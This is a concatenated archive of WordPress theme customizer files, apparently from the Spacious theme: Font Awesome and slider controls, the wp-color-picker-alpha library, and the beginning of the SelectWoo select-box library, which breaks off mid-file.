				input_number = jQuery( this ).closest( '.slider-wrapper' ).find( '.spacious-range-value .value' );

			input_number.val( value );
			input_number.change();
		} );

		// Handle the reset button.
		this.container.find( '.spacious-slider-reset' ).click( function () {
			var wrapper       = jQuery( this ).closest( '.slider-wrapper' ),
			    input_range   = wrapper.find( 'input[type=range]' ),
			    input_number  = wrapper.find( '.spacious-range-value .value' ),
			    default_value = input_range.data( 'reset_value' );

			input_range.val( default_value );
			input_number.val( default_value );
			input_number.change();
		} );

		// Save changes.
		this.container.on( 'input change', 'input[type=number]', function () {
			var value = jQuery( this ).val();
			jQuery( this ).closest( '.slider-wrapper' ).find( 'input[type=range]' ).val( value );
			control.setting.set( value );
		} );

	}

} );
core/custom-controls/fontawesome/class-spacious-fontawesome-control.php000066600000005277152367043330022670 0ustar00<?php
/**
 * Extend WP_Customize_Control to add the fontawesome control.
 *
 * Class Spacious_Fontawesome_Control
 *
 * @package    ThemeGrill
 * @subpackage Spacious
 * @since      Spacious 3.0.0
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Class to extend WP_Customize_Control to add the fontawesome customize control.
 *
 * Class Spacious_Fontawesome_Control
 */
class Spacious_Fontawesome_Control extends Spacious_Customize_Base_Additional_Control {

	/**
	 * Control's Type.
	 *
	 * @var string
	 */
	public $type = 'spacious-fontawesome';

	/**
	 * Enqueue control related scripts/styles.
	 */
	public function enqueue() {

		parent::enqueue();

		$suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min';

		// Asset path might be different according to theme.
		wp_enqueue_style( 'font-awesome', get_template_directory_uri() . apply_filters( 'spacious_fontawesome_src', '/font-awesome/css/font-awesome' ) . $suffix . '.css', false, '4.7.0' );

		// Get choices.
		$fontawesome_array = $this->choices;

		wp_localize_script(
			'spacious-customize-controls',
			'SpaciousCustomizerControlFontawesome' . $this->id,
			$fontawesome_array
		);
	}

		/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {

		parent::to_json();

		$this->json['choices']     = $this->choices;
		$this->json['id']          = $this->id;
		$this->json['label']       = esc_html( $this->label );
		$this->json['description'] = $this->description;
		$this->json['inputAttrs']  = '';

		foreach ( $this->input_attrs as $attr => $value ) {
			$this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
		}
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
	 *
	 * @see    WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label for="_spacious-fontawesome-{{{ data.id }}}">
			<# if ( data.label ) { #><span class="customize-control-title">{{{ data.label }}}</span><# } #>
			<# if ( data.description ) { #><span class="description customize-control-description">{{{ data.description }}}</span><# } #>
		</label>
		<div class="spacious-fontawesome-wrapper">
			<select {{{ data.inputAttrs }}}  id="_spacious-fontawesome-{{{ data.id }}}"></select>
		</div> <!-- /.spacious-fontawesome-wrapper -->
		<?php
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 */
	public function render_content() {
	}
}
core/custom-controls/fontawesome/fontawesome.js000066600000003024152367043330016074 0ustar00/**
 * Control: FontAwesome.
 */
(
	function ( $ ) {

		wp.customize.controlConstructor['spacious-fontawesome'] = wp.customize.Control.extend(
			{
				ready: function () {
					'use strict';

					var control = this;

					control.initSpaciousFontawesomeControl();
				},

				initSpaciousFontawesomeControl: function() {
					var control       = this,
						selector      = control.selector,
						elSelector    = $( selector ).find( 'select' ),
						faData        = [],
						value         = control.setting._value,
						data          = window['SpaciousCustomizerControlFontawesome' + this.id],
						faDataCounter = 0,
						faSelect;

					$.each(
						data,
						function ( key, value ) {
							faData[ faDataCounter ] = {
								id: value,
								text: value
							};

							faDataCounter++;
						}
					);

					// Add HTML inside the option element.
					function formatState( state ) {

						if ( ! state.id ) {
							return state.text;
						}

						var $state = $(
							'<span><i class="fa fa-lg ' + state.text + '"></i> ' + state.text + '</span>'
						);

						return $state;
					};

					// Apply selectWoo.
					faSelect = elSelector.selectWoo(
						{
							data: faData,
							width: '100%',
							templateResult: formatState,
						}
					);

					faSelect.val( value ).trigger( 'change' );

					faSelect.on(
						'change',
						function () {
							control.setting.set( elSelector.val() );
						}
					);
				},
			}
		);
	}
)( jQuery );
core/custom-controls/assets/js/wp-color-picker-alpha.min.js000066600000014636152367043330020031 0ustar00!function(e,a){var l,o={version:300};if("wpColorPickerAlpha"in window&&"version"in window.wpColorPickerAlpha){var t=parseInt(window.wpColorPickerAlpha.version,10);if(!isNaN(t)&&o.version<=t)return}Color.fn.hasOwnProperty("to_s")||(Color.fn.to_s=function(o){"hex"===(o=o||"hex")&&this._alpha<1&&(o="rgba");var a="";return"hex"===o?a=this.toString():this.error||(a=this.toCSS(o).replace(/\(\s+/,"(").replace(/\s+\)/,")")),a},window.wpColorPickerAlpha=o,l="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==",e.widget("a8c.iris",e.a8c.iris,{alphaOptions:{alphaEnabled:!1},_getColor:function(o){return o===a&&(o=this._color),this.alphaOptions.alphaEnabled?(o=o.to_s(this.alphaOptions.alphaColorType),this.alphaOptions.alphaColorWithSpace||(o=o.replace(/\s+/g,"")),o):o.toString()},_create:function(){try{this.alphaOptions=this.element.wpColorPicker("instance").alphaOptions}catch(o){}e.extend({},this.alphaOptions,{alphaEnabled:!1,alphaCustomWidth:130,alphaReset:!1,alphaColorType:"hex",alphaColorWithSpace:!1}),this._super()},_addInputListeners:function(i){function o(o){var a=i.val(),t=new Color(a),a=a.replace(/^(#|(rgb|hsl)a?)/,""),r=l.alphaOptions.alphaColorType;i.removeClass("iris-error"),t.error?""!==a&&i.addClass("iris-error"):"hex"===r&&"keyup"===o.type&&a.match(/^[0-9a-fA-F]{3}$/)||t.toIEOctoHex()!==l._color.toIEOctoHex()&&l._setOption("color",l._getColor(t))}var l=this;i.on("change",o).on("keyup",l._debounce(o,100)),l.options.hide&&i.one("focus",function(){l.show()})},_initControls:function(){var t,o,a,r;this._super(),this.alphaOptions.alphaEnabled&&(a=(o=(t=this).controls.strip.clone(!1,!1)).find(".iris-slider-offset"),r={stripAlpha:o,stripAlphaSlider:a},o.addClass("iris-strip-alpha"),a.addClass("iris-slider-offset-alpha"),o.appendTo(t.picker.find(".iris-picker-inner")),e.each(r,function(o,a){t.controls[o]=a}),t.controls.stripAlphaSlider.slider({orientation:"vertical",min:0,max:100,step:1,value:parseInt(100*t._color._alpha),slide:function(o,a){t.active="strip",t._color._alpha=parseFloat(a.value/100),t._change.apply(t,arguments)}}))},_dimensions:function(o){if(this._super(o),this.alphaOptions.alphaEnabled){for(var a=this,t=a.options,r=a.controls.square,o=a.picker.find(".iris-strip"),i=Math.round(a.picker.outerWidth(!0)-(t.border?22:0)),l=Math.round(r.outerWidth()),e=Math.round((i-l)/2),s=Math.round(e/2),n=Math.round(l+2*e+2*s);i<n;)e=Math.round(e-2),s=Math.round(s-1),n=Math.round(l+2*e+2*s);r.css("margin","0"),o.width(e).css("margin-left",s+"px")}},_change:function(){var o,a,t,r=this,i=r.active;r._super(),r.alphaOptions.alphaEnabled&&(o=r.controls,a=parseInt(100*r._color._alpha),t=["rgb("+(t=r._color.toRgb()).r+","+t.g+","+t.b+") 0%","rgba("+t.r+","+t.g+","+t.b+", 0) 100%"],r.picker.closest(".wp-picker-container").find(".wp-color-result"),r.options.color=r._getColor(),o.stripAlpha.css({background:"linear-gradient(to bottom, "+t.join(", ")+"), url("+l+")"}),i&&o.stripAlphaSlider.slider("value",a),r._color.error||r.element.removeClass("iris-error").val(r.options.color),r.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){var o=e(this).data("color");r.alphaOptions.alphaReset&&(r._color._alpha=1,o=r._getColor()),r._setOption("color",o)}))},_paintDimension:function(o,a){var t=this,r=!1;t.alphaOptions.alphaEnabled&&"strip"===a&&(r=t._color,t._color=new Color(r.toString()),t.hue=t._color.h()),t._super(o,a),r&&(t._color=r)},_setOption:function(o,a){var t=this;if("color"!==o||!t.alphaOptions.alphaEnabled)return t._super(o,a);a=""+a,newColor=new Color(a).setHSpace(t.options.mode),newColor.error||t._getColor(newColor)===t._getColor()||(t._color=newColor,t.options.color=t._getColor(),t.active="external",t._change())},color:function(o){return!0===o?this._color.clone():o===a?this._getColor():void this.option("color",o)}}),e.widget("wp.wpColorPicker",e.wp.wpColorPicker,{alphaOptions:{alphaEnabled:!1},_getAlphaOptions:function(){var r=this.element,o=r.data("type")||this.options.type,i=r.data("defaultColor")||r.val(),l={alphaEnabled:r.data("alphaEnabled")||!1,alphaCustomWidth:130,alphaReset:!1,alphaColorType:"rgb",alphaColorWithSpace:!1};return l.alphaEnabled&&(l.alphaEnabled=r.is("input")&&"full"===o),l.alphaEnabled&&(l.alphaColorWithSpace=i&&i.match(/\s/),e.each(l,function(o,a){var t=r.data(o)||a;switch(o){case"alphaCustomWidth":t=t?parseInt(t,10):0,t=isNaN(t)?a:t;break;case"alphaColorType":t.match(/^(hex|(rgb|hsl)a?)$/)||(t=i&&i.match(/^#/)?"hex":i&&i.match(/^hsla?/)?"hsl":a);break;default:t=!!t}l[o]=t})),l},_create:function(){e.support.iris&&(this.alphaOptions=this._getAlphaOptions(),this._super())},_addListeners:function(){if(!this.alphaOptions.alphaEnabled)return this._super();var t=this,r=t.element,i=t.toggler.is("a");this.alphaOptions.defaultWidth=r.width(),this.alphaOptions.alphaCustomWidth&&r.width(parseInt(this.alphaOptions.defaultWidth+this.alphaOptions.alphaCustomWidth,10)),t.toggler.css({position:"relative","background-image":"url("+l+")"}),i?t.toggler.html('<span class="color-alpha" />'):t.toggler.append('<span class="color-alpha" />'),t.colorAlpha=t.toggler.find("span.color-alpha").css({width:"30px",height:"100%",position:"absolute",top:0,"background-color":r.val()}),"ltr"===t.colorAlpha.css("direction")?t.colorAlpha.css({"border-bottom-left-radius":"2px","border-top-left-radius":"2px",left:0}):t.colorAlpha.css({"border-bottom-right-radius":"2px","border-top-right-radius":"2px",right:0}),r.iris({change:function(o,a){t.colorAlpha.css({"background-color":a.color.to_s(t.alphaOptions.alphaColorType)}),e.isFunction(t.options.change)&&t.options.change.call(this,o,a)}}),t.wrap.on("click.wpcolorpicker",function(o){o.stopPropagation()}),t.toggler.click(function(){t.toggler.hasClass("wp-picker-open")?t.close():t.open()}),r.change(function(o){var a=e(this).val();(r.hasClass("iris-error")||""===a||a.match(/^(#|(rgb|hsl)a?)$/))&&(i&&t.toggler.removeAttr("style"),t.colorAlpha.css("background-color",""),e.isFunction(t.options.clear)&&t.options.clear.call(this,o))}),t.button.click(function(o){e(this).hasClass("wp-picker-default")?r.val(t.options.defaultColor).change():e(this).hasClass("wp-picker-clear")&&(r.val(""),i&&t.toggler.removeAttr("style"),t.colorAlpha.css("background-color",""),e.isFunction(t.options.clear)&&t.options.clear.call(this,o),r.trigger("change"))})}}))}(jQuery);core/custom-controls/assets/js/wp-color-picker-alpha.js000066600000042130152367043330017235 0ustar00/**!
 * wp-color-picker-alpha
 *
 * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker
 * Only run in input and is defined data alpha in true
 *
 * Version: 3.0.0
 * https://github.com/kallookoo/wp-color-picker-alpha
 * Licensed under the GPLv2 license or later.
 */

( function( $, undef ) {

	var wpColorPickerAlpha = {
		'version' : 300
	};

	// Always try to use the last version of this script.
	if ( 'wpColorPickerAlpha' in window && 'version' in window.wpColorPickerAlpha ) {
		var version = parseInt( window.wpColorPickerAlpha.version, 10 );
		if ( ! isNaN( version ) && version >= wpColorPickerAlpha.version ) {
			return;
		}
	}

	// Prevent multiple initiations
	if ( Color.fn.hasOwnProperty( 'to_s' ) ) {
		return;
	}

	// Create new method to replace the `Color.toString()` inside the scripts.
	Color.fn.to_s = function( type ) {
		type = ( type || 'hex' );
		// Change hex to rgba to return the correct color.
		if ( 'hex' === type && this._alpha < 1 ) {
			type = 'rgba';
		}

		var color = '';
		if ( 'hex' === type ) {
			color = this.toString();
		} else if ( ! this.error ) {
			color = this.toCSS( type ).replace( /\(\s+/, '(' ).replace( /\s+\)/, ')' );
		}
		return color;
	}

	// Register the global variable.
	window.wpColorPickerAlpha = wpColorPickerAlpha;

	// Background image encoded
	var backgroundImage = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==';

	/**
	 * Iris
	 */
	$.widget( 'a8c.iris', $.a8c.iris, {
		/**
		 * Alpha options
		 *
		 * @since 3.0.0
		 *
		 * @type {Object}
		 */
		alphaOptions: {
			alphaEnabled: false,
		},
		/**
		 * Get the current color or the new color.
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @param {Object|*} The color instance if not defined return the cuurent color.
		 *
		 * @return {string} The element's color.
		 */
		_getColor: function( color ) {
			if ( color === undef ) {
				color = this._color;
			}

			if ( this.alphaOptions.alphaEnabled ) {
				color = color.to_s( this.alphaOptions.alphaColorType );
				if ( ! this.alphaOptions.alphaColorWithSpace ) {
					color = color.replace( /\s+/g, '' );
				}
				return color;
			}
			return color.toString();
		},
		/**
		 * Create widget
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @return {void}
		 */
		_create: function() {
			try {
				// Try to get the wpColorPicker alpha options.
				this.alphaOptions = this.element.wpColorPicker( 'instance' ).alphaOptions;
			} catch( e ) {}

			// We make sure there are all options
			$.extend( {}, this.alphaOptions, {
				alphaEnabled: false,
				alphaCustomWidth: 130,
				alphaReset: false,
				alphaColorType: 'hex',
				alphaColorWithSpace: false,
			} );

			this._super();
		},
		/**
		 * Binds event listeners to the Iris.
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @return {void}
		 */
		_addInputListeners: function( input ) {
			var self = this,
				debounceTimeout = 100,
				callback = function( event ){
					var val = input.val(),
						color = new Color( val ),
						val = val.replace( /^(#|(rgb|hsl)a?)/, '' ),
						type = self.alphaOptions.alphaColorType;

					input.removeClass( 'iris-error' );

					if ( ! color.error ) {
						// let's not do this on keyup for hex shortcodes
						if ( 'hex' !== type || ! ( event.type === 'keyup' && val.match( /^[0-9a-fA-F]{3}$/ ) ) ) {
							// Compare color ( #AARRGGBB )
							if ( color.toIEOctoHex() !== self._color.toIEOctoHex() ) {
								self._setOption( 'color', self._getColor( color ) );
							}
						}
					} else if ( val !== '' ) {
						input.addClass( 'iris-error' );
					}
				};

			input.on( 'change', callback ).on( 'keyup', self._debounce( callback, debounceTimeout ) );

			// If we initialized hidden, show on first focus. The rest is up to you.
			if ( self.options.hide ) {
				input.one( 'focus', function() {
					self.show();
				});
			}
		},
		/**
		 * Init Controls
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @return {void}
		 */
		_initControls: function() {
			this._super();

			if ( this.alphaOptions.alphaEnabled ) {
				// Create Alpha controls
				var self = this,
					stripAlpha = self.controls.strip.clone(false, false),
					stripAlphaSlider = stripAlpha.find( '.iris-slider-offset' ),
					controls = {
						stripAlpha       : stripAlpha,
						stripAlphaSlider : stripAlphaSlider
					};

				stripAlpha.addClass( 'iris-strip-alpha' );
				stripAlphaSlider.addClass( 'iris-slider-offset-alpha' );
				stripAlpha.appendTo( self.picker.find( '.iris-picker-inner' ) );

				// Push new controls
				$.each( controls, function( k, v ) {
					self.controls[k] = v;
				} );

				// Create slider
				self.controls.stripAlphaSlider.slider( {
					orientation : 'vertical',
					min         : 0,
					max         : 100,
					step        : 1,
					value       : parseInt( self._color._alpha * 100 ),
					slide       : function( event, ui ) {
						self.active = 'strip';
						// Update alpha value
						self._color._alpha = parseFloat( ui.value / 100 );
						self._change.apply( self, arguments );
					}
				} );
			}
		},
		/**
		 * Create the controls sizes
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @param {bool} reset Set to True for recreate the controls sizes.
		 *
		 * @return {void}
		 */
		_dimensions: function( reset ) {
			this._super( reset );

			if ( this.alphaOptions.alphaEnabled ) {
				var self = this,
					opts = self.options,
					controls = self.controls,
					square = controls.square,
					strip = self.picker.find( '.iris-strip' ),
					innerWidth, squareWidth, stripWidth, stripMargin, totalWidth;

				/**
				 * I use Math.round() to avoid possible size errors,
				 * this function returns the value of a number rounded
				 * to the nearest integer.
				 *
				 * The width to append all widgets,
				 * if border is enabled, 22 is subtracted.
				 * 20 for css left and right property
				 * 2 for css border
				 */
				innerWidth = Math.round( self.picker.outerWidth( true ) - ( opts.border ? 22 : 0 ) );
				// The width of the draggable, aka square.
				squareWidth = Math.round( square.outerWidth() );
				// The width for the sliders
				stripWidth = Math.round( ( innerWidth - squareWidth ) / 2 );
				// The margin for the sliders
				stripMargin = Math.round( stripWidth / 2 );
				// The total width of the elements.
				totalWidth = Math.round( squareWidth + ( stripWidth * 2 ) + ( stripMargin * 2 ) );

				// Check and change if necessary.
				while ( totalWidth > innerWidth ) {
					stripWidth = Math.round( stripWidth - 2 );
					stripMargin = Math.round( stripMargin - 1 );
					totalWidth = Math.round( squareWidth + ( stripWidth * 2 ) + ( stripMargin * 2 ) );
				}


				square.css( 'margin', '0' );
				strip.width( stripWidth ).css( 'margin-left', stripMargin + 'px' );
			}
		},
		/**
		 * Callback to update the controls and the current color.
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @return {void}
		 */
		_change: function() {
			var self   = this,
				active = self.active;

			self._super();

			if ( self.alphaOptions.alphaEnabled ) {
				var	controls     = self.controls,
					alpha        = parseInt( self._color._alpha * 100 ),
					color        = self._color.toRgb(),
					gradient     = [
						'rgb(' + color.r + ',' + color.g + ',' + color.b + ') 0%',
						'rgba(' + color.r + ',' + color.g + ',' + color.b + ', 0) 100%'
					],
					target       = self.picker.closest( '.wp-picker-container' ).find( '.wp-color-result' );

				self.options.color = self._getColor();
				// Generate background slider alpha, only for CSS3.
				controls.stripAlpha.css( { 'background' : 'linear-gradient(to bottom, ' + gradient.join( ', ' ) + '), url(' + backgroundImage + ')' } );
				// Update alpha value
				if ( active ) {
					controls.stripAlphaSlider.slider( 'value', alpha );
				}

				if ( ! self._color.error ) {
					self.element.removeClass( 'iris-error' ).val( self.options.color );
				}

				self.picker.find( '.iris-palette-container' ).on( 'click.palette', '.iris-palette', function() {
					var color = $( this ).data( 'color' );
					if ( self.alphaOptions.alphaReset ) {
						self._color._alpha = 1;
						color = self._getColor();
					}
					self._setOption( 'color', color );
				} );
			}
		},
		/**
		 * Paint dimensions.
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @param {string} origin  Origin (position).
		 * @param {string} control Type of the control,
		 *
		 * @return {void}
		 */
		_paintDimension: function( origin, control ) {
			var self = this,
				color = false;

			// Fix for slider hue opacity.
			if ( self.alphaOptions.alphaEnabled && 'strip' === control ) {
				color = self._color;
				self._color = new Color( color.toString() );
				self.hue = self._color.h();
			}

			self._super( origin, control );

			// Restore the color after paint.
			if ( color ) {
				self._color = color;
			}
		},
		/**
		 * To update the options, see original source to view the available options.
		 *
		 * @since 3.0.0
		 *
		 * @param {string} key   The Option name.
		 * @param {mixed} value  The Option value to update.
		 *
		 * @return {void}
		 */
		_setOption: function( key, value ) {
			var self = this;
			if ( 'color' === key && self.alphaOptions.alphaEnabled ) {
				// cast to string in case we have a number
				value = '' + value;
				newColor = new Color( value ).setHSpace( self.options.mode );
				// Check if error && Check the color to prevent callbacks with the same color.
				if ( ! newColor.error && self._getColor( newColor ) !== self._getColor() ) {
					self._color = newColor;
					self.options.color = self._getColor();
					self.active = 'external';
					self._change();
				}
			} else {
				return self._super( key, value );
			}
		},
		/**
		 * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color.
		 *
		 * @param newColor {string|*} The new color to use. Can be undefined.
		 *
		 * @since 3.0.0
		 *
		 * @return {string} The element's color.
		 */
		color: function( newColor ) {
			if ( newColor === true ) {
				return this._color.clone();
			}
			if ( newColor === undef ) {
				return this._getColor();
			}
			this.option( 'color', newColor );
		},
	} );

	/**
	 * wpColorPicker
	 */
	$.widget( 'wp.wpColorPicker', $.wp.wpColorPicker, {
		/**
		 * Alpha options
		 *
		 * @since 3.0.0
		 *
		 * @type {Object}
		 */
		alphaOptions: {
			alphaEnabled: false,
		},
		/**
		 * Get the alpha options.
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @return {object} The current alpha options.
		 */
		_getAlphaOptions: function() {
			var el = this.element,
				type  = ( el.data( 'type' ) || this.options.type ),
				color = ( el.data( 'defaultColor' ) || el.val() ),
				options = {
					alphaEnabled: ( el.data( 'alphaEnabled' ) || false ),
					alphaCustomWidth: 130,
					alphaReset: false,
					alphaColorType: 'rgb',
					alphaColorWithSpace: false,
				};

			if ( options.alphaEnabled ) {
				options.alphaEnabled = ( el.is( 'input' ) && 'full' === type );
			}

			if ( ! options.alphaEnabled ) {
				return options;
			}

			options.alphaColorWithSpace = ( color && color.match( /\s/ ) );

			$.each( options, function( name, defaultValue ) {
				var value = ( el.data( name ) || defaultValue );
				switch ( name ) {
					case 'alphaCustomWidth':
						value = ( value ? parseInt( value, 10 ) : 0 );
						value = ( isNaN( value ) ? defaultValue : value );
						break;
					case 'alphaColorType':
						if ( ! value.match( /^(hex|(rgb|hsl)a?)$/ ) ) {
							if ( color && color.match( /^#/ ) ) {
								value = 'hex';
							} else if ( color && color.match( /^hsla?/ ) ) {
								value = 'hsl';
							} else {
								value = defaultValue;
							}
						}
						break;
					default:
						value = !!value;
						break;
				}
				options[name] = value;
			} );

			return options;
		},
		/**
		 * Create widget
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @return {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			// Set the alpha options for the current instance.
			this.alphaOptions = this._getAlphaOptions();

			// Create widget.
			this._super();
		},
		/**
		 * Binds event listeners to the color picker and create options, etc...
		 *
		 * @since 3.0.0
		 * @access private
		 *
		 * @return {void}
		 */
		_addListeners: function() {
			if ( ! this.alphaOptions.alphaEnabled ) {
				return this._super();
			}

			var self = this,
				el = self.element,
				isDeprecated = self.toggler.is( 'a' );

			this.alphaOptions.defaultWidth = el.width();
			if ( this.alphaOptions.alphaCustomWidth ) {
				el.width( parseInt( this.alphaOptions.defaultWidth + this.alphaOptions.alphaCustomWidth, 10 ) );
			}

			self.toggler.css( {
				'position': 'relative',
				'background-image' : 'url(' + backgroundImage + ')'
			} );

			if ( isDeprecated ) {
				self.toggler.html( '<span class="color-alpha" />' );
			} else {
				self.toggler.append( '<span class="color-alpha" />' );
			}

			self.colorAlpha = self.toggler.find( 'span.color-alpha' ).css( {
				'width'            : '30px',
				'height'           : '100%',
				'position'         : 'absolute',
				'top'              : 0,
				'background-color' : el.val(),
			} );

			// Define the correct position for ltr or rtl direction.
			if ( 'ltr' === self.colorAlpha.css( 'direction' ) ) {
				self.colorAlpha.css( {
					'border-bottom-left-radius' : '2px',
					'border-top-left-radius'    : '2px',
					'left'                      : 0
				} );
			} else {
				self.colorAlpha.css( {
					'border-bottom-right-radius' : '2px',
					'border-top-right-radius'    : '2px',
					'right'                      : 0
				} );
			}


			el.iris( {
				/**
				 * @summary Handles the onChange event if one has been defined in the options.
				 *
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.0.0
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @returns {void}
				 */
				change: function( event, ui ) {
					self.colorAlpha.css( { 'background-color': ui.color.to_s( self.alphaOptions.alphaColorType ) } );

					// fire change callback if we have one
					if ( $.isFunction( self.options.change ) ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );


			/**
			 * Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.0.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * Open or close the color picker depending on the class.
			 *
			 * @since 3.0.0
			 */
			self.toggler.click( function() {
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.0.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			el.change( function( event ) {
				var val = $( this ).val();

				if ( el.hasClass( 'iris-error' ) || val === '' || val.match( /^(#|(rgb|hsl)a?)$/ ) ) {
					if ( isDeprecated ) {
						self.toggler.removeAttr( 'style' );
					}

					self.colorAlpha.css( 'background-color', '' );

					// fire clear callback if we have one
					if ( $.isFunction( self.options.clear ) ) {
						self.options.clear.call( this, event );
					}
				}
			} );

			/**
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.0.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @return {void}
			 */
			self.button.click( function( event ) {
				if ( $( this ).hasClass( 'wp-picker-default' ) ) {
					el.val( self.options.defaultColor ).change();
				} else if ( $( this ).hasClass( 'wp-picker-clear' ) ) {
					el.val( '' );
					if ( isDeprecated ) {
						self.toggler.removeAttr( 'style' );
					}

					self.colorAlpha.css( 'background-color', '' );

					// fire clear callback if we have one
					if ( $.isFunction( self.options.clear ) ) {
						self.options.clear.call( this, event );
					}

					el.trigger( 'change' );
				}
			} );
		},
	} );
} ( jQuery ) );core/custom-controls/assets/js/selectWoo.js000066600000454140152367043330015111 0ustar00/*!
 * SelectWoo 1.0.5
 * https://github.com/woocommerce/selectWoo
 *
 * Released under the MIT license
 * https://github.com/woocommerce/selectWoo/blob/master/LICENSE.md
 */
(function (factory) {
  if (typeof define === 'function' && define.amd) {
    // AMD. Register as an anonymous module.
    define(['jquery'], factory);
  } else if (typeof module === 'object' && module.exports) {
    // Node/CommonJS
    module.exports = function (root, jQuery) {
      if (jQuery === undefined) {
        // require('jQuery') returns a factory that requires window to
        // build a jQuery instance, we normalize how we use modules
        // that require this pattern but the window provided is a noop
        // if it's defined (how jquery works)
        if (typeof window !== 'undefined') {
          jQuery = require('jquery');
        }
        else {
          jQuery = require('jquery')(root);
        }
      }
      factory(jQuery);
      return jQuery;
    };
  } else {
    // Browser globals
    factory(jQuery);
  }
} (function (jQuery) {
  // This is needed so we can catch the AMD loader configuration and use it
  // The inner file should be wrapped (by `banner.start.js`) in a function that
  // returns the AMD loader references.
  var S2 =(function () {
  // Restore the Select2 AMD loader so it can be used
  // Needed mostly in the language files, where the loader is not inserted
  if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) {
    var S2 = jQuery.fn.select2.amd;
  }
var S2;(function () { if (!S2 || !S2.requirejs) {
if (!S2) { S2 = {}; } else { require = S2; }
/**
 * @license almond 0.3.3 Copyright jQuery Foundation and other contributors.
 * Released under MIT license, http://github.com/requirejs/almond/LICENSE
 */
//Going sloppy to avoid 'use strict' string cost, but strict practices should
//be followed.
/*global setTimeout: false */

var requirejs, require, define;
(function (undef) {
    var main, req, makeMap, handlers,
        defined = {},
        waiting = {},
        config = {},
        defining = {},
        hasOwn = Object.prototype.hasOwnProperty,
        aps = [].slice,
        jsSuffixRegExp = /\.js$/;

    function hasProp(obj, prop) {
        return hasOwn.call(obj, prop);
    }

    /**
     * Given a relative module name, like ./something, normalize it to
     * a real name that can be mapped to a path.
     * @param {String} name the relative name
     * @param {String} baseName a real name that the name arg is relative
     * to.
     * @returns {String} normalized name
     */
    function normalize(name, baseName) {
        var nameParts, nameSegment, mapValue, foundMap, lastIndex,
            foundI, foundStarMap, starI, i, j, part, normalizedBaseParts,
            baseParts = baseName && baseName.split("/"),
            map = config.map,
            starMap = (map && map['*']) || {};

        //Adjust any relative paths.
        if (name) {
            name = name.split('/');
            lastIndex = name.length - 1;

            // If wanting node ID compatibility, strip .js from end
            // of IDs. Have to do this here, and not in nameToUrl
            // because node allows either .js or non .js to map
            // to same file.
            if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) {
                name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, '');
            }

            // Starts with a '.' so need the baseName
            if (name[0].charAt(0) === '.' && baseParts) {
                //Convert baseName to array, and lop off the last part,
                //so that . matches that 'directory' and not name of the baseName's
                //module. For instance, baseName of 'one/two/three', maps to
                //'one/two/three.js', but we want the directory, 'one/two' for
                //this normalization.
                normalizedBaseParts = baseParts.slice(0, baseParts.length - 1);
                name = normalizedBaseParts.concat(name);
            }

            //start trimDots
            for (i = 0; i < name.length; i++) {
                part = name[i];
                if (part === '.') {
                    name.splice(i, 1);
                    i -= 1;
                } else if (part === '..') {
                    // If at the start, or previous value is still ..,
                    // keep them so that when converted to a path it may
                    // still work when converted to a path, even though
                    // as an ID it is less than ideal. In larger point
